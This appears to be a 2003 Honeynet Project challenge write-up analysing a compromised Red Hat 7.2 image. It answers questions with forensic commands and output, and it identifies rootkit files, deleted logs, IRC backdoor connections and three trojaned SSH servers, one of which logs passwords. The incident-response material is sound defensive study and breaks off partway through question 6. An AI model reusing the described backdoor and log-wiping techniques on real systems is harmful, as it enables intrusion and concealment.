Challenge Of The Month [Scan 29]

September 2003,

http://project.honeynet.org

 

Submitted By: 

                  Ramneek Puri & Varun Uppal

 

Challenge:


On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is to analyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed. Note, this image was recovered from VMware Workstation 4.0, it will not work in older versions

 

Summary:

 

§         Special attention is paid while explaining the procedure undertaken & tools used.

§         Correlation of findings is done by using multiple utilities.

§         The main page is kept brief & to the point for better understanding, focusing on answering the questions & explaining the procedure followed.

§         Detailed analysis & explanation of procedure followed is provided via links

§         Though lot of additional information was also discovered & analyzed but the document below is limited to explaining the procedure pertaining to challenge questions.

 

 

 

Procedure for Incident Handling & Forensic Analysis of Linux Image

 

Download the image

 

§         Download the image from project.honeypoy.net to local forensic machine.

            # wget  http://project.honeynet.org/misc/files/linux-suspended.tar.bz2

            # wget   http://project.honeynet.org/scans/scan29/linux-suspended-md5s.gz

 

§         Verify the md5 check sum of downloaded vmware image.

# md5sum –c linux-suspended.tar.bz2 d95a8c351e048bd7d5596d6fc49b6d72

.

§         Follow step by step process to secure the evidence.

 

§         Cross verify that checksum of created image & actual disk images match.

 

 

 

Setup a copy of suspended image for dead analysis in sandbox environment

 

§         Download & install the vmware 4.0 evaluation copy.

§         Put a copy of Knoppix  CD in cdrom  drive

§         Configure the vmware image to boot from cdrom with suspended linux image environment

§         Let Knoppix boot with vmware configured with “bridged” network access.

§         The host OS network card will have a Private IP and will not be connected to any other system or network.

§         Install netcat on host OS & make it listen on port 1111 to receive outputs from vmware image.

§         Mounting the suspended image on Knoppix for analysis

Commands used: # mount -t ext3 -o ro,loop,nosuid,noexec,nodev,noatime /dev/sda1 /mnt/sda1

In order to examine the file systems, we mounted the images (on Knoppix Linux system) using a loop device. The images were mounted as read-only with no execute permission, no set UID programs, no device drivers, and no access time modification.

       

Setup another copy of suspended image for live analysis in sandbox environment

 

§         Download & install the vmware 4.0 evaluation copy.

§         Vmware configured with private IP network access “bridged”

The host OS will be having a Private IP and will not be connected to any other system or network

§         Install netcat on host OS & make it listen on port 1111 for outputs from vmware image.

Command C:> nc –l –p 1111 > * name of output_file*

§         Compile static binaries & trusted shell, put them in CD 1

§         Start the suspended image.

§         Mount the CDROM with trusted shell & static binaries on suspended vmware image

§         Set the path

Command # PATH /mnt/cdrom

 

 

 

 

                Building a Security Audit Toolkit       http://netadmintools.com/part279.html

Knoppix                                               http://www.knoppix.net/

Vmware                                              www.vmware.com

 

 

Challenge Question 1.       Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

 

Confirm the Incident.

 

Step 1(live analysis) : verify the md5 checksum of suspended linux image ( suspended-linux.md5)

Command: #   md5sum –c host79-2003-08-06 | grep –v “OK”

Explanation: The command will verify the md5sum of all the files in file * host79-2003-08-06 & grep –v will invert the match i.e. all lines that don’t have “OK” will be displayed

Output:

 

/var/lib/slocate/slocate.db: FAILED

/var/lib/random-seed: FAILED

/var/lib/logrotate.status: FAILED

/var/log/messages: FAILED

/var/log/lastlog: FAILED open or read

/var/log/secure: FAILED

/var/log/maillog: FAILED

/var/log/wtmp: FAILED

/var/log/sa/sa14: FAILED open or read

/var/log/sa/sa15: FAILED open or read

/var/log/sa/sar14: FAILED open or read

/var/log/sa/sa16: FAILED open or read

/var/log/sa/sar15: FAILED open or read

/var/log/sa/sa06: FAILED open or read

/var/log/samba/log.smbd: FAILED open or read

/var/log/samba/smbd.log: FAILED open or read

/var/log/samba/log.nmbd: FAILED open or read

/var/log/samba/localhost.log: FAILED open or read

/var/log/xferlog: FAILED open or read

/var/log/httpd/error_log: FAILED open or read

/var/log/httpd/ssl_engine_log: FAILED open or read

/var/log/httpd/access_log: FAILED open or read

/var/log/httpd/ssl_request_log: FAILED open or read

/var/log/httpd/access_log.1: FAILED open or read

/var/log/httpd/error_log.1: FAILED open or read

/var/log/dmesg: FAILED open or read

/var/log/cron: FAILED

/var/log/boot.log: FAILED

/var/log/rpmpkgs: FAILED open or read

/var/cache/man/whatis: FAILED

/var/cache/samba/smbd.pid: FAILED

/var/cache/samba/connections.tdb: FAILED

/var/cache/samba/nmbd.pid: FAILED

/var/cache/samba/browse.dat: FAILED

/var/run/utmp: FAILED

/var/run/runlevel.dir: FAILED

/var/run/syslogd.pid: FAILED

/var/run/klogd.pid: FAILED

/var/run/apmd.pid: FAILED

/var/run/sshd.pid: FAILED

/var/run/sendmail.pid: FAILED

/var/run/gpm.pid: FAILED

/var/run/crond.pid: FAILED

/var/run/ftp.rips-all: FAILED open or read

/var/spool/anacron/cron.daily: FAILED

/var/spool/anacron/cron.weekly: FAILED

/tmp/root.md5: FAILED open or read

/etc/mtab: FAILED

/etc/rc.d/init.d/functions: FAILED

/etc/rc.d/rc.sysinit: FAILED

/etc/mail/statistics: FAILED

/etc/aliases.db: FAILED

/etc/adjtime: FAILED

/etc/samba/secrets.tdb: FAILED

/etc/httpd/conf/httpd.conf: FAILED

/usr/bin/top: FAILED

/bin/netstat: FAILED

/bin/ls: FAILED

/bin/ps: FAILED

/sbin/ifconfig: FAILED

 

 

Indication of Intrusion 1: 

§         Lot of very commonly used system binaries have failed the checksum

§         Lot of system logs get “ FAILED open or read”

 

                                               

Step 2( Dead Analysis) : Check for Hidden files & directories

Command: # find /mnt/sda1 -name ".*" -type d -printf "%Tc %h/%f\n" > hidden_dir

Explanation: The command will find all hidden directories ( -type d) & pipe the output to file hidden_dir

 

Output:

 

Sun Aug 10 15:32:17 2003 /lib/.x

Wed Aug  6 11:51:48 2003 /root/.ssh

Wed Aug  6 11:13:19 2003 /root/.links

 

 

Command # find /mnt/sda1 -name ".*" -type f -printf "%Tc %h/%f\n" > hidden_dir

Explanation: The command will find all hidden files ( -type f) & pipe the output to file hidden_dir

 

Output:

 

Mon Jul 14 13:53:10 2003 /var/spool/at/.SEQ

Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/tools/.chk

Mon Jul  9 05:56:20 2001 /etc/skel/.bash_logout

Mon Jul  9 05:56:20 2001 /etc/skel/.bash_profile

Mon Jul  9 05:56:20 2001 /etc/skel/.bashrc

Mon Jul 14 13:53:21 2003 /etc/.pwd.lock

Thu Aug  9 19:53:39 2001 /usr/lib/perl5/5.6.0/i386-linux/.packlist

Wed Apr  5 15:42:06 2000 /usr/share/doc/samba-2.2.1a/examples/VFS/.cvsignore

Mon Jul  9 05:56:19 2001 /usr/share/man/man1/..1.gz

Thu Mar 20 15:53:50 2003 /lib/.x/.boot

Sat Jun 10 14:00:15 2000 /root/.bash_logout

Wed Aug 23 12:02:38 1995 /root/.Xresources

Thu Jul  5 11:23:26 2001 /root/.bash_profile

Wed Aug 23 12:04:30 1995 /root/.bashrc

Sat Jun 10 14:09:02 2000 /root/.cshrc

Tue Jul 11 08:53:11 2000 /root/.tcshrc

Sat Aug  9 14:34:31 2003 /.autofsck

Sun Aug 10 15:54:04 2003 /.bash_history

 

 

 

Indication of Intrusion 2: 

A hidden directory by the name of /lib/.x with time stamp of Aug 10 ( day of the incident as described in challenge )

 

Step 3 ( Dead Analysis) : Check for files with SUID & GUID bit set

Command # find  /mnt/sda1   \( -perm -004000 -o -perm -002000 \) -type f –ls

Explanation: The command will find all the files in mounted file-system with SUID & GUID set 

Output:

 

   8988   24 -rwsr-sr-x   1 root     root        24116 May 21 13:12 /dev/shm/k

 59705  767 -rws--x--x   2 root     root       785372 Aug  9  2001 /usr/bin/suidperl

 59705  767 -rws--x--x   2 root     root       785372 Aug  9  2001 /usr/bin/sperl5.6.0

 59708   34 -rwsr-xr-x   1 root     root        34476 Aug 27  2001 /usr/bin/chage

 59710   36 -rwsr-xr-x   1 root     root        36208 Aug 27  2001 /usr/bin/gpasswd

 60053   37 -rwsr-xr-x   1 root     root        37580 Aug  2  2001 /usr/bin/at

 60085   13 -rwxr-sr-x   1 root     mail        12500 Jun 30  2001 /usr/bin/lockfile

 60137   25 -rwxr-sr-x   1 root     slocate     25020 Jun 24  2001 /usr/bin/slocate

 62367   14 -r-s--x--x   1 root     root        13476 Aug  6  2001 /usr/bin/passwd

 62406    7 -r-xr-sr-x   1 root     tty          6444 Aug 28  2001 /usr/bin/wall

 62414   13 -rws--x--x   1 root     root        13136 Aug 26  2001 /usr/bin/chfn

 62415   13 -rws--x--x   1 root     root        12484 Aug 26  2001 /usr/bin/chsh

 62433    6 -rws--x--x   1 root     root         5456 Aug 26  2001 /usr/bin/newgrp

 62444    9 -rwxr-sr-x   1 root     tty          8744 Aug 26  2001 /usr/bin/write

 62497   21 -rwsr-xr-x   1 root     root        21280 Jun 24  2001 /usr/bin/crontab

 62531  206 -rwsr-xr-x   1 root     root       209948 Sep  6  2001 /usr/bin/ssh

 62539   15 -rwsr-xr-x   1 root     root        14588 Jul 24  2001 /usr/bin/rcp

 62541   11 -rwsr-xr-x   1 root     root        10940 Jul 24  2001 /usr/bin/rlogin

 62542    8 -rwsr-xr-x   1 root     root         7932 Jul 24  2001 /usr/bin/rsh

 59390   19 -rwsr-xr-x   1 root     root        18444 Aug 27  2001 /usr/sbin/ping6

 59394   10 -rwsr-xr-x   1 root     root         9804 Aug 27  2001 /usr/sbin/traceroute6

 62351    7 -rwxr-sr-x   1 root     utmp         6604 Jun 24  2001 /usr/sbin/utempter

 62400  441 -r-sr-xr-x   1 root     root       451076 Aug 31  2001 /usr/sbin/sendmail

 62480    7 -rwsr-xr-x   1 root     root         6340 Sep  9  2001 /usr/sbin/usernetctl

 62545   20 -rwsr-xr-x   1 root     root        20120 Jun 25  2001 /usr/sbin/traceroute

 62595   11 -r-s--x---   1 root     apache      11244 Sep  5  2001 /usr/sbin/suexec

 44757   23 -rwsr-xr-x   1 root     root        23436 Aug 27  2001 /bin/ping

 45325   57 -rwsr-xr-x   1 root     root        57628 Jul 24  2001 /bin/mount

 45326   28 -rwsr-xr-x   1 root     root        28380 Jul 24  2001 /bin/umount

 45668   19 -rwsr-xr-x   1 root     root        18452 Jul 23  2001 /bin/su

 45523   15 -r-sr-xr-x   1 root     root        15088 Sep 24  2001 /sbin/pwdb_chkpwd

 45524   16 -r-sr-xr-x   1 root     root        15672 Sep 24  2001 /sbin/unix_chkpwd

 45831    5 -rwxr-sr-x   1 root     root         4120 Sep  9  2001 /sbin/netreport

 

 

Indication of Intrusion 3: 

§         The file “k” in /dev/shm/  .. What is this …?? unknown

 

 

Step 4(Dead Analysis) : Check for added & deleted files in image in comparison to files recorded in md5sum file (linux-suspended-md5)

Note: This will provide an indication of intrusion & not authoritative statement for whole system state.

Format the linux-suspended-md5 file to give file paths only.

Command # Cat host79-2003-08-06 | cut –d “ ” –c 35-  | sort  > all_files_paths-old_state

Explanation: The command list content of md5 file & is piped to “cut “command that will remove first 35 character of each line, that is the hash, leaving only the file paths.

 

Command #  find /mnt/sda1 –perm 0000 –type –f  | sort > all_files_paths-new_state

Explanation: The command “ find “ searches for all files ( -type f) in mounted linux image with any permissions ( -perm -0000 ). The output is piped to sort command, which in turn pipes the sorted output to file “ all_files_paths-new_state

 

Command # diff all_files_paths-old_state  all_files_paths-new_state > all_file_changes_between_states

Explanation: The “ diff” command match all lines between two files & will list missing files in file 1 with “ >” & files missing in file2 with “<”.

 

Command # cat  all_file_changes_between_states | grep “>”  | cut –d “>” –c 2- | sort > added_files

Explanation: list the content of file “all_file_changes_between_states” pipe it to grep to output, lines with “>” character only, pipe the output to sort command & write the result to file “added_files”

 

Output : Added files

/.bash_history

/bin/pico

/dev/hdx1

/dev/hdx2

/dev/shm/k

/dev/ttyoa

/dev/ttyof

/dev/ttyop

/etc/opt/psyBNC2.3.1.tar.gz

/etc/opt/psybnc/CHANGES

/etc/opt/psybnc/config.h

/etc/opt/psybnc/COPYING

---------------------output deleted ------------------------------------------

/etc/opt/psybnc/motd/INFO

/etc/opt/psybnc/motd/USER1.MOTD

/etc/opt/psybnc/motd/USER1.MOTD.old

/etc/opt/psybnc/motd/USER2.MOTD.old

/etc/opt/psybnc/psybncchk

/etc/opt/psybnc/psybnc.conf

/etc/opt/psybnc/psybnc.conf.old

/etc/opt/psybnc/psybnc.pid

---------------------output deleted ------------------------------------------

/etc/psdevtab

/lib/.x/.boot

/lib/.x/cl

/lib/.x/hide

/lib/.x/hide.log

/lib/.x/inst

/lib/.x/install.log

/lib/.x/ip

/lib/.x/log

/lib/.x/sk

/lib/.x/s/lsn

/lib/.x/s/mfs

/lib/.x/s/pid

/lib/.x/s/port

/lib/.x/s/r_s

/lib/.x/s/s_h_k

/lib/.x/s/s_h_k.pub

/lib/.x/s/sshd_config

/lib/.x/s/xopen

---------------------output deleted ------------------------------------------

/root/sslstop/Makefile

/root/sslstop/sslport

/root/sslstop/sslport.c

/root/sslstop/sslstop

/root/sslstop/sslstop.c

/root/sslstop.tar.gz

/usr/bin/crontabs

/usr/bin/logclear

/usr/bin/sense

/usr/bin/sl2

/usr/bin/smbd -D

/usr/bin/(swapd)

/usr/bin/x.pid

/usr/include/iceconf.h

/usr/include/icekey.h

/usr/include/icepid.h

/usr/include/iceseed.h

/usr/lib/adore.o

/usr/lib/cleaner.o

/usr/lib/libice.log

/usr/lib/libshtift/ifconfig

/usr/lib/libshtift/ls

/usr/lib/libshtift/netstat

/usr/lib/libshtift/ps

/usr/lib/libshtift/top

/usr/lib/libsss

/usr/lib/sp0

/usr/lib/sp0_cfg

/usr/lib/sp0_key

/usr/lib/sp0_seed

/var/lock/subsys/atd

/var/lock/subsys/identd

/var/lock/subsys/netfs

/var/lock/subsys/smb

/var/lock/subsys/xinetd

/var/run/atd.pid

 

 

Command # cat  all_file_changes_between_states | grep “<”| cut –d “<” –c 2-  | sort > deleted_files

Explanation: : list the content of file “all_file_changes_between_states” pipe it to grep to output, lines with “<” character only, pipe the output to sort command & write the result to file “added_files”

Output : Deleted files

/tmp/root.md5

/var/log/dmesg

/var/log/httpd/access_log

/var/log/httpd/access_log.1

/var/log/httpd/error_log

/var/log/httpd/error_log.1

/var/log/httpd/ssl_engine_log

/var/log/httpd/ssl_request_log

/var/log/lastlog

/var/log/messages

/var/log/rpmpkgs

/var/log/samba/localhost.log

/var/log/samba/log.nmbd

/var/log/samba/log.smbd

/var/log/samba/smbd.log

/var/log/sa/sa06

/var/log/sa/sa14

/var/log/sa/sa15

/var/log/sa/sa16

/var/log/sa/sar14

/var/log/sa/sar15

/var/log/xferlog

/var/run/ftp.rips-all

 

Indication of Intrusion 4: 

§         The output of added files shows that a lot of unknown files have been added to the system.

§         The output of deleted files shows that lots of log files that were present earlier (when the checksum was calculated ) don’t exist any more.

 

Answer 1.

§         After following the above four steps, we could conclude that there are lot of unknown files present in suspected linux image. Additionally, multiple system log files are missing or inaccessible. This matches a typical profile of an intruder that broke-in to system & deleted system log files to cover the tracks.

§         At this stage, it’s concluded that analysis up till now, indicates towards a successfully system break-in, but requires further analysis in sandbox environment to identify the characteristics of identified unknown files.

§         Impact on suspected system  &  Trust in suspected system

·         A combination of Dead & Live analysis was performed

·         For dead analysis, the Knoppix linux CDROM was used & suspected Linux image was mounted using a loop device, as read-only with no execute permission, no set UID programs, no device drivers, and no access time modification. There was minimal impact on suspected Linux image due to dead analysis until now.

·         For Live Analysis, a CDROM with trusted shell & set of statically compiled binaries were used, thus the trust on suspected system was kept to minimal.

·         During live analysis, the suspended image was booted & this action could lead to

o        An established Connection could time out

o        A running process could die out

o        Un-intentional execution of malicious binary 

 

 

 

Challenge Question 2.           Explain the impact that your actions had on the running system.

 

Answer 2.

§      During dead analysis, the system was not running & the suspected Linux image mounted on our Linux forensic system using a loop device, as read-only with no executes permission, no set UID programs, no device drivers, and no access time modification. There was minimal impact on suspected Linux image due to analysis until now.

§      During Live Analysis:  to minimize the trust on suspended linux system,  trusted shell & set of statically compiled binaries were used

-          But to “mount” the cdrom with static binaries, linux systems “mount “ command was used.

-          The output of lsof & netstat were immediately taken but the possibility of established connections timing out in between time cannot be discounted.

-          The process command “ lsof ” displays the active process but the possibility of a process dying out in between could not be discounted.

-          All precautions were taken not to execute any unknown binary but adverse impact of running malicious processes calling executables in background could not be discounted.

 

 

 

Challenge Question 3.       List the PID(s) of the process (es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

 

Step 1(Live analysis): display the open connections & listening processes.

Command # lsof -i

Explanation: lists the processes (open files) with their pids & port numbers they either have established connections or are in open state

Output:

 

COMMAND    PID  USER   FD   TYPE DEVICE SIZE NODE NAME

identd     677 ident    4u  IPv4    836       TCP *:auth (LISTEN)

identd     685 ident    4u  IPv4    836       TCP *:auth (LISTEN)

identd     686 ident    4u  IPv4    836       TCP *:auth (LISTEN)

identd     695 ident    4u  IPv4    836       TCP *:auth (LISTEN)

identd     696 ident    4u  IPv4    836       TCP *:auth (LISTEN)

sshd       699  root    3u  IPv4    860       TCP *:ssh (LISTEN)

xinetd     732  root    3u  IPv4    881       TCP *:finger (LISTEN)

xinetd     732  root    4u  IPv4    882       TCP *:telnet (LISTEN)

xinetd     732  root    5u  IPv4    883       TCP *:ftp (LISTEN)

sendmail   759  root    4u  IPv4    925       TCP localhost.localdomain:smtp (LISTEN)

smbd       845  root    9u  IPv4   1015       TCP *:netbios-ssn (LISTEN)

nmbd       850  root    6u  IPv4   1025       UDP *:netbios-ns

nmbd       850  root    7u  IPv4   1026       UDP *:netbios-dgm

nmbd       850  root    8u  IPv4   1028       UDP 192.168.1.79:netbios-ns

nmbd       850  root    9u  IPv4   1029       UDP 192.168.1.79:netbios-dgm

smbd      3137  root    6u  IPv4   4571       TCP *:cfinger (LISTEN)

smbd      3137  root   16u  IPv4    976       TCP *:https (LISTEN)

smbd      3137  root   17u  IPv4    977       TCP *:http (LISTEN)

(swapd)   3153  root   16u  IPv4    976       TCP *:https (LISTEN)

(swapd)   3153  root   17u  IPv4    977       TCP *:http (LISTEN)

initd    15119  root    3u  IPv4  15617       TCP *:65336 (LISTEN)

initd    15119  root    5u  IPv4  15619       TCP *:65436 (LISTEN)

initd    15119  root    6u  IPv4  16157       TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)

initd    15119  root    9u  IPv4  15909       TCP 192.168.1.79:1146->199.184.165.133:ircd (ESTABLISHED)

initd    15119  root   12u  IPv4  16191       TCP 192.168.1.79:1149->64.62.96.42:ircd (ESTABLISHED)

xopen    25239  root    8u  IPv4   9972       UDP *:3049

xopen    25239  root   16u  IPv4    976       TCP *:https (LISTEN)

xopen    25239  root   17u  IPv4    977       TCP *:http (LISTEN)

xopen    25241  root    8u  IPv4  12302       TCP *:squid (LISTEN)

xopen    25241  root   16u  IPv4    976       TCP *:https (LISTEN)

xopen    25241  root   17u  IPv4    977       TCP *:http (LISTEN)

lsn      25247  root   16u  IPv4    976       TCP *:https (LISTEN)

lsn      25247  root   17u  IPv4    977       TCP *:http (LISTEN)

 

 

 

Answer 3.

 Process

PID

 

Port

 

Default RedHat 7.2 Port

Remark

initd

15119

 

tcp/65336

 

 

non default port

used by backdoor process “psybnc”

initd

15119

 

tcp/65436

 

 

non default port

used by backdoor process “psybnc”

xopen

25239

 

udp/3049

 

non default port

used by backdoor process “xopen”

xopen

25241

 

tcp/3128

 

Port 3128 : SQUID

But here used by backdoor process “xopen”

Smbd –D

3137

 

tcp/2003

 

Port 2003: cfinger

But here used by backdoor process “smbd –D ”

 

Challenge Question 4.       Were there any active network connections? If so, what address (es) was the other end and what service(s) was it for?

 

  Command #   netstat –a  

Explanation:   list all the established network connections & open ports.

Output:

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 *:netbios-ssn           *:*                     LISTEN     

tcp        0      0 *:finger                *:*                     LISTEN     

tcp        0      0 *:http                  *:*                     LISTEN     

tcp        0      0 *:auth                  *:*                     LISTEN     

tcp        0      0 *:cfinger               *:*                     LISTEN     

tcp        0      0 *:ftp                   *:*                     LISTEN     

tcp        0      0 *:ssh                   *:*                     LISTEN     

tcp        0      0 *:telnet                *:*                     LISTEN     

tcp        0      0 *:65336                 *:*                     LISTEN     

tcp        0      0 *:squid                 *:*                     LISTEN     

tcp        0      0 localhost.localdom:smtp *:*                     LISTEN     

tcp        0      0 *:https                 *:*                     LISTEN     

tcp        0      0 *:65436                 *:*                     LISTEN     

tcp        0      0 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED

tcp        0      0 192.168.1.79:1149       64.62.96.42:ircd        ESTABLISHED

tcp        0      0 192.168.1.79:1146       199.184.165.133:ircd    ESTABLISHED

udp        0      0 192.168.1.79:netbios-ns *:*                                

udp        0      0 *:netbios-ns            *:*                                 

udp        0      0 192.168.1.7:netbios-dgm *:*                                

udp        0      0 *:netbios-dgm           *:*                                

udp        0      0 *:3049                  *:*                                

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags       Type       State         I-Node Path

unix  2      [ ACC ]     STREAM     LISTENING     943    /dev/gpmctl

unix  4      [ ]         DGRAM                    7984   /dev/log

unix  2      [ ]         DGRAM                    15679 

unix  2      [ ]         DGRAM                    7993  

unix  2      [ ]         DGRAM                    1078  

unix  2      [ ]         DGRAM                    990   

unix  2      [ ]         DGRAM                    924   

unix  2      [ ]         DGRAM                    834   

unix  2      [ ]         DGRAM                    804   

unix  2      [ ]         STREAM     CONNECTED     417  

 

Answer 4.

 

Process

SRC IP ADDRESS

SRC TCP PORT

DEST. IP ADDESS

DEST. TCP PORT

Remote Service

Comment

initd

 

192.168.1.79

65336->

213.154.118.200

1188 (ESTABLISHED)

Outbound connection to higher port

 

1. As the host has a private IP, the intruder cannot make a direct inbound connection

2. Seems to be using “/etc/opt/psybnc/initd” to maintain access to this system.

 

initd

 

192.168.1.79

1146->

199.184.165.133

ircd (ESTABLISHED)

IRC Server

 

1. The “/etc/opt/psybnc/initd” binary that actually runs with  initd process name, is connecting to undernet.org IRC community & logging in with nick “redCode”

 

initd

 

192.168.1.79

1149->

64.62.96.42

ircd (ESTABLISHED)

IRC Server

 

The “/etc/opt/psybnc/initd” binary that actually runs with  initd process name, is connecting to undernet.org IRC community & logging in with nick “redCode”

 

 

   

 

Challenge Question 5.           How many instances of an SSH server were installed and at what times?

 

To identify all the instances of SSH servers, we followed the following iterative process

Step 1(Live analysis) : get all the newly added executables

Command #  for filepath in `cat   added_files`

>do

> file ${filepath} | grep executable | cut –d “:” –f1 | sort >> exe_files

            >done

Explanation: shell script, all the newly added files identified in suspended linux image, in comparison to the state when the md5sum was calculated for files > Identify the executable binaries

Output:

/bin/pico

/dev/shm/k

/etc/opt/psybnc/initd

/etc/opt/psybnc/makesalt

/etc/opt/psybnc/psybncchk

/etc/opt/psybnc/tools/autoconf

/etc/opt/psybnc/tools/chkenv

/etc/opt/psybnc/tools/chkipv6

/etc/opt/psybnc/tools/chkresolv

/etc/opt/psybnc/tools/chksock

/etc/opt/psybnc/tools/convconf

/lib/.x/.boot

/lib/.x/cl

/lib/.x/hide

/lib/.x/inst

/lib/.x/log

/lib/.x/sk

/lib/.x/s/lsn

/lib/.x/s/xopen

/root/sslstop/sslport

/root/sslstop/sslstop

/usr/bin/crontabs

/usr/bin/sense

/usr/bin/sl2

/usr/bin/(swapd)

/usr/lib/libshtift/ifconfig

/usr/lib/libshtift/ls

/usr/lib/libshtift/netstat

/usr/lib/libshtift/ps

/usr/lib/libshtift/top

/usr/lib/sp0

 

 

Step 2(Live Analysis). Find the characteristics of all unknown binaries via “strings” & “strace” commands line utilities

Command # strings xopen  

Explanation: print the printable character in file

Output:

/lib/.x/s/sshd_config

Received SIGHUP; restarting.

RESTART FAILED: av[0]='%.100s', error: %.100s.

Received signal %d; terminating.

Timeout before authentication.

Generating new %d bit RSA key.

RSA key generation complete.

f:p:b:k:h:g:diqV:

i586-unknown-linux

1.2.32

sshd version %s [%s]

Usage: %s [options]

Options:

/lib/.x/s

  -f file    Configuration file (default %s/sshd_config)

  -d         Debugging mode

  -i         Started from inetd

  -q         Quiet (no logging)

  -p port    Listen on the specified port (default: 22)

  -k seconds Regenerate server key every this many seconds (default: 3600)

  -g seconds Grace period for authentication (default: 300)

  -b bits    Size of server RSA key (default: 768 bits)

/lib/.x/s/ssh_host_key

  -h file    File from which to read host key (default: %s)

  -V str     Remote version string already read from the socket

--------------

sshd version %.100s [%.100s]

SSH-%d.%d-%[^

Protocol mismatch.

----------

versions differ: %d vs. %d

Your ssh version is too old and is no longer supported.  Please install a newer version.

This server does not support your new ssh version.

sshd.c

sensitive_data.private_key.bits >= sensitive_data.host_key.bits + 128

sensitive_data.host_key.bits >= sensitive_data.private_key.bits + 128

----------------

SSH_ORIGINAL_COMMAND

%.50s %d %d

SSH_CLIENT

SSH_TTY

TERM

DISPLAY

REMOTEUSER

SSH_AUTH_SOCK

/etc/environment

%.200s/.ssh/environment

Could not chdir to home directory %s: %s

Environment:

  %.200s

.ssh/rc

Running %s

%s %s

Could not run %s

/lib/.x/s/sshrc

------------

/lib/.x/s/shosts.equiv

~/.ssh/known_hosts

/lib/.x/s/ssh_known_hosts

 

-----------------------------------------------------  

 

/lib/.x/s/ssh_host_key

/lib/.x/s/ssh_random_seed

/var/run/sshd.pid

/usr/X11R6/bin/xauth

 

 

Check the Time Zone in suspended linux image

Command # Clock

Output #      PDT

Set the Time Zone on Knoppix to PDT

OK

 

 

Command (Dead Analysis) # stat  xopen  

Explanation:

Output:

  File: `xopen'

  Size: 217667       Blocks: 440        IO Block: 4096   regular file

Device: 801h/2049d   Inode: 18413       Links: 1   

Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2003-08-10 15:32:16.000000000 -0700

Modify: 2002-12-28 17:01:31.000000000 -0800

Change: 2003-08-10 15:32:16.000000000 -0700

 

 

Interestingly one of the executable file was “smbd –D”, and because of the presence of space in filename the script above was not able to pick it.

Command (Live Analysis). # strings “smbd –D”  

Explanation: print the printable character in file

Output:

/usr/include//iceconf.h

Received SIGHUP; restarting.

RESTART FAILED: av[0]='%.100s', error: %.100s.

Received signal %d; terminating.

Timeout before authentication.

Generating new %d bit RSA key.

RSA key generation complete.

f:p:b:k:h:g:diqV:

Options:

  -d         Debugging mode

  -q         Quiet (no logging)

  -g seconds Grace period for authentication (default: 300)

  -b bits    Size of server RSA key (default: 768 bits)

  -V str     Remote version string already read from the socket

fatal: Bad server key size.

fatal: Bad port number.

fatal: Extra argument %.100s.

i686-unknown-linux

By-ICE_4_All ( Hackers Not Allowed! )

sshd version %.100s [%.100s]

----------------------------------------------------------------------------

+-[ User Login Incoming ]----------- --- --- - -

| username: %s password: %s%s hostname: %s

+----------------------------------- ----- --- -- -- -

accepted

failed

----------------------------------------------------------------------------

/usr/include//icekey.h

/usr/include//iceseed.h

/var/run/sshd.pid

----------------------------------------------------------------------

Received TCP/IP port forwarding request.

Forking shell.

 

~/.ssh/known_hosts

/usr/include//ssh_known_hosts

 

 

 

Command (Dead Analysis) # stat  “smbd –D”  

Explanation:

Output:

 

File: `smbd -D'

  Size: 672527       Blocks: 1328       IO Block: 4096   regular file

Device: 801h/2049d   Inode: 92030       Links: 1   

Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2003-08-10 15:54:18.000000000 -0700

Modify: 2002-09-03 23:54:10.000000000 -0700

Change: 2003-08-10 13:33:33.000000000 -0700

 

 

 

 

Command (Live Analysis). # strings sp0  

Explanation: print the printable character in file

Output:

/etc/sshd_config

Received SIGHUP; restarting.

RESTART FAILED: av[0]='%.100s', error: %.100s.

Received signal %d; terminating.

Timeout before authentication.

Generating new %d bit RSA key.

RSA key generation complete.

f:p:b:k:h:g:diqV:

i686-unknown-linux

1.2.32

sshd version %s [%s]

Usage: %s [options]

Options:

/etc

  -f file    Configuration file (default %s/sshd_config)

  -d         Debugging mode

  -i         Started from inetd

  -q         Quiet (no logging)

  -p port    Listen on the specified port (default: 22)

  -k seconds Regenerate server key every this many seconds (default: 3600)

  -g seconds Grace period for authentication (default: 300)

  -b bits    Size of server RSA key (default: 768 bits)

/etc/ssh_host_key

  -h file    File from which to read host key (default: %s)

  -V str     Remote version string already read from the socket

---------------------------------------------------------------------------------------------

sshd.c

sensitive_data.private_key.bits >= sensitive_data.host_key.bits + 128

sensitive_data.host_key.bits >= sensitive_data.private_key.bits + 128

---------------------------------------------------------------------------------------------

/etc/ssh_host_key

/etc/ssh_random_seed

/var/run/sshd.pid

/usr/X11R6/bin/xauth

 

 

Command (Dead Analysis) # stat  sp0  

Explanation:

Output:

  File: `sp0'

  Size: 230163       Blocks: 464        IO Block: 4096   regular file

Device: 801h/2049d   Inode: 47165       Links: 1   

Access: (0700/-rwx------)  Uid: (   48/ UNKNOWN)   Gid: (   48/ UNKNOWN)

Access: 2003-08-10 15:30:21.000000000 -0700

Modify: 2003-06-01 21:03:03.000000000 -0700

Change: 2003-08-10 15:30:54.000000000 -0700

 

Answer 5.

SSH Server

Install Time

Comment

/lib/.x/s/xopen

Aug 10 15:32

backdoor

/usr/lib/sp0

Aug 10 15:30

backdoor

/usr/bin/smbd -D

Aug 10 13:33

backdoor

/usr/sbin/sshd

 

Original sshd server with correct Md5 checksum

 

 

Challenge Question 6.           Which instances of the SSH servers from question 5 were run?

 

Step 1(Live analysis) .  Of the Identity binaries in answer 5, check which all actually running.

Command # lsof  

  Explanation: list the running process, connections, their files etc.

Output:

COMMAND     PID  USER   FD   TYPE     DEVICE     SIZE       NODE NAME

 

